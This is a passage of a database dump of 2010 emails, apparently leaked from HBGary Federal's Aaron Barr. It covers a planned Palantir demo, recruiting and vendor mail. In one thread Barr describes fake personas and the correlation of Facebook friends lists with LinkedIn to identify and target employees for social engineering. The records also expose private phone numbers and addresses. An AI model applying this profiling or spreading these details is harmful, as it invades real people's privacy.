presentation at Govcon in the past --\r\n>>>> trying to hunt down the video -- so we wouldn\'t be demonstrating\r\n> anything\r\n>>>> new just by expanding it to facebook. But that wasn\'t specifically in a\r\n>>>> pen-testing/cybersecurity context. An integration with this and some\r\n>> other\r\n>>>> pen-testing data -- known account identifiers, and data collected from\r\n>>> them,\r\n>>>> for example -- might be cool. If we could bring in some malware\r\n>>> fingerprint \r\n>>>> data too, and build a whole \"here\'s how we pwned your network\"\r\n>>>> exploration...\r\n>>>> \r\n>>>> 	I\'ve got the OSVDB (vulnerability database integrated), if it\'d be\r\n>>>> helpful.\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> _________________________________________________________\r\n>>>> Aaron Zollman\r\n>>>> Palantir Technologies | Embedded Analyst\r\n>>>> azollman@palantir.com | 202-684-8066\r\n>>>> \r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>>>> Sent: Thursday, August 26, 2010 11:43 AM\r\n>>>> To: Matthew Steckman\r\n>>>> Cc: Aaron Zollman; Ted Vera; Mark Trynor\r\n>>>> Subject: Re: Another Killer Demo\r\n>>>> \r\n>>>> On the social side here is what I would like to do.  I think between\r\n> Mark\r\n>>>> and Aaron this could be put together very quickly and would be powerful.\r\n>>>> \r\n>>>> start with a profile in facebook.\r\n>>>> \r\n>>>> http://www.facebook.com/profile.php?id=100001092994636\r\n>>>> \r\n>>>> View the source of that page.  There is all kinds of information we can\r\n>>>> collect and parse to build some very robust social maps.\r\n>>>> Those people that provide information and have their friends lists\r\n>> exposed\r\n>>>> provide an incredible social engineering and recon tool.\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> \r\n>>>> On Aug 26, 2010, at 11:18 AM, Matthew Steckman wrote:\r\n>>>> \r\n>>>>> Brandon is a rockstar!!! Good call.\r\n>>>>> \r\n>>>>> Let us know if you want help on the demo, sounds like it could be\r\n> really\r\n>>>>> interesting.  We\'d probably love to make a video of is as well to put\r\n> up\r\n>>>> on\r\n>>>>> our analysis blog (with HBGary branding of course!).\r\n>>>>> \r\n>>>>> Matthew Steckman\r\n>>>>> Palantir Technologies | Forward Deployed Engineer\r\n>>>>> msteckman@palantir.com | 202-257-2270\r\n>>>>> \r\n>>>>> Follow @palantirtech\r\n>>>>> Watch youtube.com/palantirtech\r\n>>>>> Attend Palantir Night Live\r\n>>>>> \r\n>>>>> \r\n>>>>> -----Original Message-----\r\n>>>>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>>>>> Sent: Wednesday, August 25, 2010 10:36 PM\r\n>>>>> To: Matthew Steckman\r\n>>>>> Cc: Aaron Zollman\r\n>>>>> Subject: Another Killer Demo\r\n>>>>> \r\n>>>>> Matt,\r\n>>>>> \r\n>>>>> I have been doing talks on social media, have a lot more scheduled,\r\n>> along\r\n>>>>> with some training gigs.  In the process I am setting up a lot of\r\n>>> personas\r\n>>>>> and doing social media pen testing against organizations.\r\n>>>>> \r\n>>>>> What I have found is there is an immense amount of information peoples\r\n>>>>> friends lists as well as other social media digital artifacts can tell\r\n>>> us.\r\n>>>>> I think Palantir would be an awesome tool to present and use for\r\n>>> analysis.\r\n>>>>> We are just going to have to get someone to write a helper app.  I am\r\n>>>> hoping\r\n>>>>> to be able to hire Brandon Colston soon.\r\n>>>>> \r\n>>>>> Aaron\r\n>>>> \r\n>>> \r\n>> \r\n> \r\n\r\n',13607,'aaron_hbgary_com/13607.html'),(11207,'2010-09-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008550.M175724P14101Q6062.eml','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>,\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','Re: introduction','Thanks Mary.Dean. &nbsp;Good to get introduced. &nbsp;Just in general it would be good to get together next time your in DC.On a more immediate note I do have some work I am searching to staff. &nbsp;One is for a senior windows security architect to help out a company in Denver for 3-6 months. &nbsp;If you know of anyone that fits the bill and could help out that would be wonderful.AaronOn Sep 1, 2010, at 6:18 PM, Sullivan, Mary wrote:Dean,I wanted to introduce you to &nbsp;Aaron Barr, CEO of HB Gary Federal, which is a separate company from HB Gary with a services-oriented security focus.&nbsp; I know you have great contacts, and as Aaron staffs security projects I thought you might be a great resource for people who’d be perfect for the work.&nbsp;Aaron,Dean is a well –known and highly regarded security consultant currently working with the USDA ASOC project. I know from experience that he knows a ton of people and might be very helpful to you.&nbsp;Next time Dean’s in town, let’s all have a drink? In the meantime, feel free to talk amongst yourselves.&nbsp;mary&nbsp;&nbsp;&nbsp;Mary Sullivan | Federal Sales Manager | Fidelis Security Systems, Inc.D 240-396-2446 | M 301-980-1308 |&nbsp;mary.sullivan@fidelissecurity.com&nbsp;|&nbsp;www.fidelissecurity.com&nbsp;See It | Study It | Stop It with Fidelis XPS:&nbsp;&nbsp;http://www.youtube.com/fidsecsys.&nbsp;',4589,'aaron_hbgary_com/4589.html'),(11208,'2010-09-02','\"Zosh Administrator\" <noreply@zosh.com>','/aaron@hbgary.com/new/1297008553.M538069P14101Q6064.eml','aaron@hbgary.com','Documents Available','\r\n\r\nDocuments available on Zosh\r\n\r\n\r\n\r\nAn email with the following attachments was received on Thu, Sep 2, \'10 at 2:09 PM from aaron@hbgary.com.\r\n \r\n\r\n\r\n    Aaron Bar_RSOA_corrected_6.2.10.pdf\r\n\r\n\r\nThese documents are now available in Zosh. \r\n\r\n\r\nStart the Zosh application to view the documents.  If you are already in the Zosh application, \r\nyou may press the refresh button in the top left corner of the Home view.\r\n\r\n\r\n\r\nOur document conversion has been significantly improved as of July 15, 2010.  Please try it out and let us know what you think.\r\nWe use a commerical conversion tool that supports PDF conversion from Word, Excel, Powerpoint, JPG, PNG, GIF, BMP and TIFF\r\n\r\n\r\n			  \r\nThank you for using Zosh.  For up to date info.  @zoshapp.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15962,'aaron_hbgary_com/15962.html'),(11209,'2010-09-02','\"Dean Lindstrom\" <deanl@cyberstrom.com>','/aaron@hbgary.com/new/1297008553.M769098P14101Q6065.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','RE: introduction','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, \r\n\r\n&nbsp;\r\n\r\nNice to meet you. I don&#8217;t currently have a trip to DC planned\r\nbut that could change quickly.  I&#8217;ll let you and Mary know when I&#8217;ll be in town\r\nand would love to meet in person and have a few drinks.  \r\n\r\nOn the Denver thing, I know a few folks that *may* be\r\ninterested. Can you provide some details so I can reach out to them?\r\n\r\n&nbsp;\r\n\r\nDean\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nDean Lindstrom, CISSP, CISM\r\n\r\nCEO, Strategic Solutions Architect\r\n\r\nCyberström, LLC\r\n\r\n970.690.1429 \r\n\r\ndeanl@cyberstrom.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, September 02, 2010 8:02 AM\r\nTo: Sullivan, Mary\r\nCc: Dean Lindstrom\r\nSubject: Re: introduction\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks Mary.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDean. &nbsp;Good to get introduced. &nbsp;Just in general it\r\nwould be good to get together next time your in DC.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn a more immediate note I do have some work I am searching\r\nto staff. &nbsp;One is for a senior windows security architect to help out a\r\ncompany in Denver for 3-6 months. &nbsp;If you know of anyone that fits the\r\nbill and could help out that would be wonderful.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 1, 2010, at 6:18 PM, Sullivan, Mary wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDean,\r\n\r\n\r\n\r\n\r\n\r\nI\r\nwanted to introduce you to &nbsp;Aaron Barr, CEO of HB Gary Federal, which is a\r\nseparate company from HB Gary with a services-oriented security focus.&nbsp; I\r\nknow you have great contacts, and as Aaron staffs security projects I thought\r\nyou might be a great resource for people who&#8217;d be perfect for the work.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\nDean\r\nis a well &#8211;known and highly regarded security consultant currently working with\r\nthe USDA ASOC project. I know from experience that he knows a ton of people and\r\nmight be very helpful to you.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNext\r\ntime Dean&#8217;s in town, let&#8217;s all have a drink? In the meantime, feel free to talk\r\namongst yourselves.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nmary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMary\r\nSullivan | Federal Sales Manager | Fidelis Security Systems, Inc.\r\nD 240-396-2446 | M 301-980-1308 |&nbsp;mary.sullivan@fidelissecurity.com&nbsp;|&nbsp;www.fidelissecurity.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSee It | Study It | Stop It with Fidelis XPS:&nbsp;&nbsp;http://www.youtube.com/fidsecsys.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14647,'aaron_hbgary_com/14647.html'),(11210,'2010-09-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008553.M87182P14101Q6063.eml','\"Zosh\" <mydocs@zosh.com>','stock','\r\n',8734,'aaron_hbgary_com/8734.html'),(11211,'2010-09-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008553.M969712P14101Q6066.eml','\"Daniel Collender\" <dcollend@digitalglobe.com>','May have found some folks','Can you refresh me on some of the details of what you are looking for within the senior windows security architect.\r\n\r\nAaron',3864,'aaron_hbgary_com/3864.html'),(11212,'2010-09-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008554.M275726P14101Q6067.eml','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','Re: Social Media, Exploitation, and Persistent Internet Operations','Sure we can do that. &nbsp;A few different ways we can do this. &nbsp;How does next thursday or friday work? &nbsp;I can do Thursday afternoon and Friday up until about 2pm. &nbsp;I could probably do wednesday as well.Do you just want to go over the training material and course dialogue.Do you want me to do the abbreviated 2hr. presentation.Do you want me to do the 1/2 day training class?What works for you?AaronOn Sep 2, 2010, at 7:16 AM, Eifert, Eric J. wrote:Can we do a face to face?&nbsp; If so let me know when works best for you and I will coordinate.&nbsp;Thanks,&nbsp;Eric J. EifertVice President, Cyber Defense Solutions Business UnitManTech Mission, Cyber and Technology Solutions(direct) 703-388-2127&nbsp;&nbsp; (cell) 703-966-9998&nbsp;&nbsp; (fax) 703-388-2148&nbsp;**PROPRIETARY &amp; COMPANY-CONFIDENTIAL**This email and the contents of this email (including any attachments) are company-confidential and/or proprietary.&nbsp; Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.&nbsp; If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.&nbsp; Thank you.&nbsp;',12889,'aaron_hbgary_com/12889.html'),(11213,'2010-09-02','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297008554.M478836P14101Q6068.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Another Killer Demo','Sounds good; we\'ll talk then.\r\n________________________________________\r\nFrom: Aaron Barr [aaron@hbgary.com]\r\nSent: Thursday, September 02, 2010 9:58 AM\r\nTo: Aaron Zollman\r\nSubject: Re: Another Killer Demo\r\n\r\nGreat.  I have a meeting from 1230-2 close to your office so can just head there afterwards, be there around 230.\r\n\r\nAaron\r\n\r\nOn Sep 1, 2010, at 4:07 PM, Aaron Zollman wrote:\r\n\r\n> Maryland until about 1pm, then headed back south to McLean. The Palantir\r\n> office in Tysons works for me as a meeting point, too.\r\n>\r\n> _________________________________________________________\r\n> Aaron Zollman\r\n> Palantir Technologies | Embedded Analyst\r\n> azollman@palantir.com | 202-684-8066\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, September 01, 2010 10:58 AM\r\n> To: Aaron Zollman\r\n> Subject: Re: Another Killer Demo\r\n>\r\n> I am going to be in Mclean most of the day.  Where are you going to be\r\n> tomorrow.\r\n>\r\n> Aaron\r\n>\r\n>\r\n> On Aug 31, 2010, at 5:04 PM, Aaron Zollman wrote:\r\n>\r\n>>\r\n>> Sounds good. Pick a time 2pm ET or later. Dropping by Bethesda would be on\r\n>> the way Thursday, too.\r\n>>\r\n>>\r\n>> _________________________________________________________\r\n>> Aaron Zollman\r\n>> Palantir Technologies | Embedded Analyst\r\n>> azollman@palantir.com | 202-684-8066\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Monday, August 30, 2010 10:38 PM\r\n>> To: Aaron Zollman\r\n>> Cc: Matthew Steckman; Ted Vera; Mark Trynor\r\n>> Subject: Re: Another Killer Demo\r\n>>\r\n>> I get it on the breakout sessions.  We would like to pursue the path to\r\n>> breakout with fingerprint data.  That hasn\'t changed.\r\n>>\r\n>> So here is the dynamic I am working with right now.\r\n>>\r\n>> We have separate customers interested in our ability to do volume malware\r\n>> processing and threat intelligence (this is TMC, Fingerprint, and\r\n>> Palanatir).\r\n>>\r\n>> We have other customers, mostly on offense, that are interested in Social\r\n>> Media for other things.\r\n>>\r\n>> In the end both of these capabilities come together to build real threat\r\n>> intelligence marrying up malware data with social media data, just baby\r\n>> steps.\r\n>>\r\n>> The social media stuff seems like low hanging fruit, so lets have a phone\r\n>> conversation on that on Thursday to discuss what are the next steps and\r\n>> when.\r\n>>\r\n>> On the threat intelligence side we have some prep work to do.  Greg told\r\n> me\r\n>> that the data that he has is basically not available.  Something about\r\n>> giving the TMC to HBGary Fed and dropping that because it was taking to\r\n> many\r\n>> development resources and they need to focus.  What does that mean, not a\r\n>> huge deal, but we need to rerun our malware through the TMC and then\r\n> through\r\n>> fingerprint and then take that data into Palantir.  Right now we are\r\n> running\r\n>> at max speed the rest of the week to get our Pentest report done and out\r\n> to\r\n>> the customer by Thursday.  So on Monday next week we can regroup with Mark\r\n> I\r\n>> think and talk about how to get the threat intel stuff going.  We have a\r\n>> meeting with US-CERT on the 9th and it would be good to be able to tell\r\n> them\r\n>> a little more than what we have right now, meaning we have a plan to\r\n>> execute.  The stick here is in our hands.  I will reread your last email,\r\n>> head is flooded, and we can readdress this on Thursday as well.\r\n>>\r\n>> Sound ok?  Good thing is potential customers definitely interested.\r\n>>\r\n>> Lets do a webex on Thursday instead I can show you a few things I am\r\n> working\r\n>> on.  I will set it up.\r\n>>\r\n>> Aaron\r\n>>\r\n>>\r\n>> On Aug 30, 2010, at 9:18 PM, Aaron Zollman wrote:\r\n>>\r\n>>>\r\n>>>     For the two breakout spaces, we\'re looking for an integration that\r\n>>> focuses more on technical data. While I\'d like to talk through this\r\n>> proposed\r\n>>> workflow some more -- and it\'s certainly appropriate for the demo station\r\n>>> you guys will have at GovCon -- it may not be right for the breakout\r\n>>> sessions where Steckman and I have to focus our development energy. But\r\n>>> let\'s walk down the path a little further before we decide anything:\r\n>>>\r\n>>>     Is the idea that we\'d want to ingest all of Facebook\'s data, or just\r\n>>> a targeted subset for a few users of interest; possibly using helpers to\r\n>>> reach out to the API\'s?\r\n>>>\r\n>>>     Pete Warden (petesearch.blogspot.com) ran into some issues with\r\n>>> their AUP, resulting in a lawsuit, when he crawled most of Facebook\'s\r\n>> social\r\n>>> graph to build some statistics. I\'d be worried about doing the same. (I\'d\r\n>>> ask him for his Facebook data -- he\'s a fan of Palantir -- but he\'s\r\n>> already\r\n>>> deleted it.)\r\n>>>\r\n>>>     Aaron B, I\'m available most of tomorrow and Thursday afternoon if\r\n>>> you want to build out the workflow a little. The new cyber ontology has\r\n> an\r\n>>> \"online account\" type set up by default; we can start by preparing a\r\n>>> Facebook Account subtype and build outward from there.\r\n>>>\r\n>>>     Phone call good enough, or should we set up shop somewhere with data\r\n>>> and laptops?\r\n>>>\r\n>>>\r\n>>> _________________________________________________________\r\n>>> Aaron Zollman\r\n>>> Palantir Technologies | Embedded Analyst\r\n>>> azollman@palantir.com | 202-684-8066\r\n>>>\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Monday, August 30, 2010 8:54 AM\r\n>>> To: Aaron Zollman\r\n>>> Cc: Matthew Steckman; Ted Vera; Mark Trynor\r\n>>> Subject: Re: Another Killer Demo\r\n>>>\r\n>>> I think you would be demonstrating something completely new from a\r\n>> security\r\n>>> standpoint.  Twitter requires no authentication.  Follow anyone you want.\r\n>>> Facebook requires an acknowledgement to be included.  Peoples Facebook\r\n>>> friends lists are much closer to representing someones actual social\r\n>> circle\r\n>>> than just another source of information.  This has huge security\r\n>>> consequences.  My hypothesis is there is an immense amount of information\r\n>> we\r\n>>> can glean from this information.  I have actually already proven this on\r\n> a\r\n>>> small scale doing research manually.  I have been able to determine\r\n> people\r\n>>> who are employees of specific companies even though their profile was\r\n>>> completely blocked, except their friends lists.  I correlated friends\r\n>> lists\r\n>>> across multiple people who I knew were employees of a particular company\r\n>> to\r\n>>> determine this.  I also was able to cross this information with Linkedin\r\n>>> information and determine people that were in subcontracting\r\n> relationships\r\n>>> to other companies.  I think all of the facebook information in a\r\n> Palantir\r\n>>> framework could result in some of the most significant security\r\n>> revelations\r\n>>> related to social media yet published.  No more handwaving, but real data\r\n>> to\r\n>>> show the vulnerabilities.  There is a huge social engineering /targeting\r\n>>> potential here as well.  If I wanted to target a particular organization\r\n>>> what groups should I belong to, who are the influencers in the group, who\r\n>>> has the most connections, etc.\r\n>>>\r\n>>> Lets get together to discuss and I can walk you through some of the stuff\r\n>> I\r\n>>> am doing with persona development and social media exploitation.\r\n>>>\r\n>>> Aaron\r\n>>> On Aug 27, 2010, at 2:43 PM, Aaron Zollman wrote:\r\n>>>\r\n>>>>\r\n>>>>    It\'d be even easier with the graph APIs...\r\n>>>> http://graph.facebook.com/ ... JSON parser & an API key and we could\r\n>> knock\r\n>>>> it out pretty quick. (Someone else\'s facebook account, please, though!)\r\n>>>>\r\n>>>>    What\'s the workflow we\'d be shooting for, other than as a\r\n>>>> visualization front-end for an organization\'s structure?\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>    I think we\'ve done a twitter presentation at Govcon in the past --\r\n>>>> trying to hunt down the video -- so we wouldn\'t be demonstrating\r\n> anything\r\n>>>> new just by expanding it to facebook. But that wasn\'t specifically in a\r\n>>>> pen-testing/cybersecurity context. An integration with this and some\r\n>> other\r\n>>>> pen-testing data -- known account identifiers, and data collected from\r\n>>> them,\r\n>>>> for example -- might be cool. If we could bring in some malware\r\n>>> fingerprint\r\n>>>> data too, and build a whole \"here\'s how we pwned your network\"\r\n>>>> exploration...\r\n>>>>\r\n>>>>    I\'ve got the OSVDB (vulnerability database integrated), if it\'d be\r\n>>>> helpful.\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> _________________________________________________________\r\n>>>> Aaron Zollman\r\n>>>> Palantir Technologies | Embedded Analyst\r\n>>>> azollman@palantir.com | 202-684-8066\r\n>>>>\r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Thursday, August 26, 2010 11:43 AM\r\n>>>> To: Matthew Steckman\r\n>>>> Cc: Aaron Zollman; Ted Vera; Mark Trynor\r\n>>>> Subject: Re: Another Killer Demo\r\n>>>>\r\n>>>> On the social side here is what I would like to do.  I think between\r\n> Mark\r\n>>>> and Aaron this could be put together very quickly and would be powerful.\r\n>>>>\r\n>>>> start with a profile in facebook.\r\n>>>>\r\n>>>> http://www.facebook.com/profile.php?id=100001092994636\r\n>>>>\r\n>>>> View the source of that page.  There is all kinds of information we can\r\n>>>> collect and parse to build some very robust social maps.\r\n>>>> Those people that provide information and have their friends lists\r\n>> exposed\r\n>>>> provide an incredible social engineering and recon tool.\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>>\r\n>>>> On Aug 26, 2010, at 11:18 AM, Matthew Steckman wrote:\r\n>>>>\r\n>>>>> Brandon is a rockstar!!! Good call.\r\n>>>>>\r\n>>>>> Let us know if you want help on the demo, sounds like it could be\r\n> really\r\n>>>>> interesting.  We\'d probably love to make a video of is as well to put\r\n> up\r\n>>>> on\r\n>>>>> our analysis blog (with HBGary branding of course!).\r\n>>>>>\r\n>>>>> Matthew Steckman\r\n>>>>> Palantir Technologies | Forward Deployed Engineer\r\n>>>>> msteckman@palantir.com | 202-257-2270\r\n>>>>>\r\n>>>>> Follow @palantirtech\r\n>>>>> Watch youtube.com/palantirtech\r\n>>>>> Attend Palantir Night Live\r\n>>>>>\r\n>>>>>\r\n>>>>> -----Original Message-----\r\n>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>> Sent: Wednesday, August 25, 2010 10:36 PM\r\n>>>>> To: Matthew Steckman\r\n>>>>> Cc: Aaron Zollman\r\n>>>>> Subject: Another Killer Demo\r\n>>>>>\r\n>>>>> Matt,\r\n>>>>>\r\n>>>>> I have been doing talks on social media, have a lot more scheduled,\r\n>> along\r\n>>>>> with some training gigs.  In the process I am setting up a lot of\r\n>>> personas\r\n>>>>> and doing social media pen testing against organizations.\r\n>>>>>\r\n>>>>> What I have found is there is an immense amount of information peoples\r\n>>>>> friends lists as well as other social media digital artifacts can tell\r\n>>> us.\r\n>>>>> I think Palantir would be an awesome tool to present and use for\r\n>>> analysis.\r\n>>>>> We are just going to have to get someone to write a helper app.  I am\r\n>>>> hoping\r\n>>>>> to be able to hire Brandon Colston soon.\r\n>>>>>\r\n>>>>> Aaron\r\n>>>>\r\n>>>\r\n>>\r\n>\r\n\r\n',11702,'aaron_hbgary_com/11702.html'),(11214,'2010-09-02','\"Zosh Administrator\" <noreply@zosh.com>','/aaron@hbgary.com/new/1297008557.M599030P14101Q6069.eml','aaron@hbgary.com','Here is your completed Zosh document.','\r\n\r\nYou just filled out and signed a document on your iPhone!\r\n\r\n\r\n&nbsp;Executed with Zosh www.zosh.com.\r\n\r\n\r\n',1784,'aaron_hbgary_com/1784.html'),(11215,'2010-09-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008560.M792283P14101Q6070.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>,\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','Signed Document','\r\n\r\nSorry didn\'t get this out like I said yesterday.\r\n\r\nAaron',9434,'aaron_hbgary_com/9434.html'),(11216,'2010-09-02','\"Jason Frye\" <jason.frye@carahsoft.com>','/aaron@hbgary.com/new/1297008561.M206140P14101Q6071.eml','aaron@hbgary.com','Adapx Webcast: Steamlining Inspection Paperwork - Register Today','\r\n  \r\nTo view an online version of this email, click here.\r\n\r\n\r\n\r\nbody {\r\nbackground-color: #808080;\r\ncolor: #000;\r\nfont-size:12px; \r\nfont-family: Arial, Helvetica, sans-serif;\r\n}\r\n.tbody {\r\nbackground-color: #fff;\r\ncolor: #000;\r\nfont-size:12px; \r\nfont-family: Arial, Helvetica, sans-serif;\r\n}\r\nh1 \r\n{\r\nfont-family: Arial, Helvetica, sans-serif;\r\nfont-size: 24px;\r\nfont-style: normal;\r\nline-height: normal;\r\nfont-weight: normal;\r\nfont-variant: normal;\r\ntext-transform: uppercase;\r\ncolor: #ED1C24;\r\npadding: 0px;\r\n}\r\np, td { font-size:12px; }\r\ntd.content { padding-right: 25px; }\r\na:hover { text-decoration: underline; color: #ED1C24; }\r\na:link { text-decoration: underline; color: #ED1C24; }\r\na:visited { text-decoration: underline; color: #ED1C24; }\r\n.footer {\r\nbackground-color:#58595B;\r\npadding:5px;\r\nfont-family: Arial, Helvetica, sans-serif;\r\nfont-size: 10px;\r\nfont-style: normal;\r\nline-height: normal;\r\nfont-weight: normal;\r\nfont-variant: normal;\r\ntext-transform: none;\r\ncolor: #FFFFFF;\r\ntext-align: center;\r\nvertical-align: middle;\r\n}	\r\n\r\n	\r\n		\r\n			\r\n		\r\n		\r\n			\r\n			\r\n				\r\n					\r\n						\r\n						\r\n						Adapx Webcast: Steamlining Inspection Paperwork&nbsp; \r\n						\r\n						\r\n						1) Does your team work with paper forms? \r\n						\r\n						\r\n						2) Do you spend too much time scanning or doing data entry? \r\n						\r\n						\r\n						3) Do you want instant digital access to inspection data? \r\n						\r\n						\r\n						Carahsoft and Adapx invite you to a complimentary webcast to learn about the USDA&rsquo;s successful use of Capturx software to automate paper maps and forms into digital data. Discover how inspection teams use software for digital pens to eliminate scanning and data entry, speed data processing to meet compliance deadlines, and avoid risks from missing or inaccessible paperwork.\r\n						\r\n						Register today for this informative webcast to learn more about how: \r\n						\r\n						\r\n							Digital pens instantly scan data as it is written \r\n							Data can be integrated into Microsoft Office, SharePoint, and other back-end systems\r\n							Teams can access image files, converted digital text, and automate their workflow\r\n						\r\n						\r\n						To learn more about how Adapx can help your agency, read, check out our Capturx Technology Brief, or watch our two-minute Capturx Forms Solutions&nbsp;informative video. \r\n						\r\n						Sign up now, or contact&nbsp;me for access to the archived recording after the event. \r\n						\r\n						\r\n						If you have any questions about this webcast or would like additional information on Adapx, please call 877-943-6733.\r\n						\r\n						Sincerely,&nbsp; \r\n						\r\n						\r\n						Jason Frye\r\n						Adapx Government at Carahsoft\r\n						703-871-8581 (Direct)\r\n						877-943-6733 (Toll-Free)\r\n						jason.frye@carahsoft.com \r\n						\r\n						\r\n						Interested in learning more about Adapx? Schedule a private demo today! \r\n						\r\n						\r\n						\r\n						\r\n						\r\n						Register Today!&nbsp; \r\n						\r\n						Date:&nbsp;Wednesday, September 15, 2010&nbsp;\r\n						Time: 2pm Eastern; 11am Pacific&nbsp;\r\n						Duration: 1 Hour \r\n						\r\n						\r\n						 \r\n						\r\n						\r\n						\r\n					\r\n				\r\n			\r\n			\r\n		\r\n		\r\n			&nbsp;\r\n		\r\n	\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nClick here to forward this mailing with your personal message.\r\n\r\nThis email was sent to: aaron@hbgary.com\r\nThis email was sent by: Carahsoft Technology Corp.\r\n12369 Sunrise Valley Dr. Suite D2, Reston, VA 20191\r\n\r\n\r\nClick here to leave this mailing list.\r\n\r\n\r\n\r\n  \r\n\r\n\r\n',11740,'aaron_hbgary_com/11740.html'),(11217,'2010-09-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008561.M412230P14101Q6072.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: New CCAT Solicitation Opens - DHS opportunity','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIs this a sbir opp?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Wednesday, September 01, 2010 11:04 AM\r\nTo: \'Maria Lucas\'; \'Aaron Barr\'; \'Ted Vera\'; \'Penny Leavy-Hoglund\'\r\nSubject: FW: New CCAT Solicitation Opens - DHS opportunity\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThought you might want to see\r\nthis DHS opportunity\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Cynthia Edwards\r\n[mailto:cyedwards@foundation.sdsu.edu] On Behalf Of CCAT (DEFENSE)\r\nSent: Wednesday, September 01, 2010 12:36 PM\r\nSubject: New CCAT Solicitation Opens\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThe Department of\r\nHomeland Security, Science and Technology Directorate &#8211; TechSolutions and\r\nCenter for Commercialization of Advanced Technology (CCAT) are pleased to\r\nannounce the opening of a national solicitation seeking new technologies,\r\nproducts and systems that address key First Responder capability gaps.&nbsp; We\r\ninvite your organization to consider submitting an application for\r\nconsideration of funding for product development, test, evaluation,\r\ndemonstration, and business development services.&nbsp; To access the\r\nsolicitation, please go to the CCAT website at\r\nwww.ccatsandiego.org/DHS_sol.html&nbsp; to download the application\r\ninstructions and forms.&nbsp; You may submit your application between\r\nWednesday,&nbsp; September 1, 2010 through&nbsp; Thursday, September 30, 2010\r\n4pm PDT .\r\n\r\n&nbsp;\r\n\r\nIf you have any\r\nquestions, please contact CCAT Program Director Tom Sheffer at\r\ntsheffer@foundation.sdsu.edu\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nTom 